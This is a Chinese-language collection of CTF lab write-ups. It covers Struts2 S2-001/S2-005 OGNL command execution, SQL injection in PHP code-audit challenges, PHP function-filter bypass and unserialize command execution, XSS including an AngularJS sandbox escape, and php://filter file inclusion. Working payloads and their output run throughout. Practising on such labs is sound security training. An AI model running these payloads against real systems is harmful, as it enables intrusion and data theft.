目录
一、Web279-S2-001
二、Web280--S2-005
三、Web281--s2-008
四、Web301-代码审计
五、Web302-代码审计
六、Web303-代码审计
七:网鼎杯:朱雀组开启靶机
八、Xss
九、Web78 文件包含
题目分析:
如题s2-001是一个struts2命令执行漏洞编号
一、判断网站是否基于Struts2的方法
1、通过网页后缀来判断,如.do .action
2、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true
二、漏洞原理:
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据
测试提交加法表达式%{1+1}成功执行
%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用,$主要是在Struts 2配置文件中,引用OGNL表达式
四、构造pyload:
/ 获取tomcat路径
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
// 获取web路径
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
————————————————
如题:S2-005
先看S2-003,Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
再看S2-005
S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003
影响版本:Struts 2.0.0 - Struts 2.1.8.1
打不了,要用工具
Message /S2-005/example/HelloWorld.ac%3f%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29%2B%27%20tion
打开环境
执行任意代码poc:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /proc/self/environ').getInputStream())) + '
执行在age框内回显:
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib�CATALINA_HOME=/usr/local/tomcat�LANG=C.UTF-8�HOSTNAME=a16ecdc45a95�OPENSSL_VERSION=1.1.0f-3�TOMCAT_VERSION=8.5.20�GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23�JAVA_HOME=/docker-java-home/jre�TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib�TOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.asc�JAVA_VERSION=8u141�TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz�PWD=/usr/local/tomcat/webapps�HOME=/root�TOMCAT_TGZ_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz�CA_CERTIFICATES_JAVA_VERSION=20170531+nmu1�TOMCAT_MAJOR=8�JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1�FLAG=ctfshow{8b021a84-b196-4292-b6d7-3a0a12d5f4e0}�SHLVL=0�TOMCAT_ASC_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.asc�PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin�
Flag:ctfshow{8b021a84-b196-4292-b6d7-3a0a12d5f4e0}
1、代码审计思路:
1、工具上Seaf搜索
2、手工找敏感函数
解题分析:
2、代码分析:
看一下目录,admin目录下都是静态页面,来到assets目录
我把重点放在了checklogin.php和fun.php
Fun.php尝试全局搜索include ,无
Checklogin
一看就感觉username有注入点,于是用sqlmap跑一下。使用burp抓包保存文件,然后sqlmap -r web301.txt,弹出的选项一路yes
跑出来时间盲注,但是感觉是代码审计不能光跑脚本
回到代码,在checklogin.php中没有对username做任何过滤,可以闭合它构造payload,且在第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录。
直接利用用户POST传入的userpwd与sql里面查出来的sds_password相等,login就可以为1了。
3、构造pyload:
直接闭合,联合查询1,这样返回的密码是1了,最后只要登录的密码也为1就可以拿到flag了。
userid = 1' union select 1#
userpwd = 1
尝试一下:
1、代码分析:
如图,修改了一个地方,给密码加密了。
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
这里是在上一道题的基础上进行了sds_decode,这个sds_decode就是之前看到的fun.php。
以看到,他的返回值是md5(md5($str.md5(base64_encode(“sds”))).“sds”)
因为知道str的值是1,所以自己加密之后再用上面的payload就行了
2、伪造一下exp。
最后加密得到的是d9c77c4e454869d5d8da3b4be79694d3
Pyload:
Userid: ' union select 'd9c77c4e454869d5d8da3b4be79694d3';#
Passid: 1
1、代码分析:
这里换源码了,其中有一个sql文件,里面写了
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
其次查看sds_decode,发现他正好也echo了sds_decode(‘admin’)的值,在传完之前的payload后,checklogin.php正好回显了admin加密后的值,也sql文件中的相等,说明账号密码就是admin/admin
在dptadd.php中可以看出每个字段值都可控,所以我们可以在随便一个地方构造,这样它就会把我们想要查的东西插入到表中,最后我们再在dpt.php查看就可以了这里给了账号admin和密文
尝试一下:
点击进入:
说明这个dptadd.php界面有注入点,无过滤的insert注入
2、构造pyload:
爆表:
dpt_name=5',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
字段:
dpt_name=5',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
flag:
dpt_name=5',sds_address=(select flag from sds_fl9g)#
进入主页
提示index.php有东西
主页抓包看看
这里提交了两个值,一个是func 值是date 另一个是p 值是 Y-m-d h:i:s,猜想一下,如果func的值是 system ,p的值是ls /flag呢?可以先用md5来校验一下是否能够成功执行
方法一:in_array()函数进行绕过
如果我们要读取flag这个文件的话,得先看看过滤了哪些函数:
这里可以利用file_get_contents获取index.php的源码
file_get_contents(path):读取path路径下文件的内容
读取到源码
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
看样子过滤挺多的 ,是可以任意命令执行
in_array()函数进行绕过
直接构造payload:?func=\system&p=find / -name flag”
1、加\是为了绕过过滤
2、system("find / -name flag"):查找所有文件名匹配flag的文件
或func=\exec&p=cat $(find / -name flag*)
payload:?func=\system&p=cat /tmp/flagoefiu4r93 找到flag存在的路径
方法二:反序列化
然后进行cat 命令抓取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
或者readfile读取flag文件
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
当然,我们也可以搞一个类似exp的payload,也可以得到flag。
func=readfile&p=/tmp/flagoefiu4r93
第一关:常规xss
后缀+?username=
第二关:简单闭合绕过
使用第一关的套路,直接被没有回显
http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level2?username=
查看源码
发现使用了js所编写的一个过滤,username被escape加密
使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)
http://65c057a6-36f6-4ed7-90b8-1c25016edfec.node4.buuoj.cn/level2?username=1';alert(1);'1
第三关:单引号转义
先测试
试试第二关的方法
';alert(1);'1
查看一下源代码,发现单引号(’)被转义
发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:
'';alert(1);'1
第四关:伪链接
一直在循环,直接查看源码
javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url,构造如下所示:
jumpUrl=javascript:alert(1)
第五关:getQueryVariable()函数绕过
是一个表单查询,无论在输入框中输入,任意的东西,他都会回显报错
http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level5?autosubmit=1&action=JavaScript:alert(1);//
分析代码:
变量1
if(getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
//变量action执行getQueryVariable函数
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i
变量2
getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //变量action执行getQueryVariable函数
绕过这两个变量就可以
?autosubmit=1&action=JavaScript:alert(1);//
第六关:xss模板注入(沙箱逃逸)
打开源码发现链接:
打开网站:https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
F12打开是一长串段js编写的代码,怼这个URL,
测试xss模板注入,成功8*9=72,直接就给我算出了答案,说明存在xss模板注入的
8*9=72,直接就给我算出了答案,说明存在xss模板注入的
组件上发现js框架是angularjs框架
百度一下Angular(版本号v1.4.0-v1.4.9)沙箱逃逸
Angular JS客户端模板注入
payload如下所示:
http://1bbea037-ec4e-4120-bd60-16336bd00c60.node4.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
总结:
确认了存在xss模板注入以后,我们对Angular(版本号v1.4.0-v1.4.9)沙箱逃逸
进入下一关拿到flag
源码:
考察php伪协议
伪协议
php://伪协议是PHP提供的一些输 人输出流访问功能,允许访问PHP的输入输出流,标准输人输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写人文件资源的过滤器。
?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件
进行读写。
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tlNGZiZDdhNi0zMzRkLTRhNzMtOWUzNC0xZjcwNDZmZGYxZGV9Ijs=
解码得flag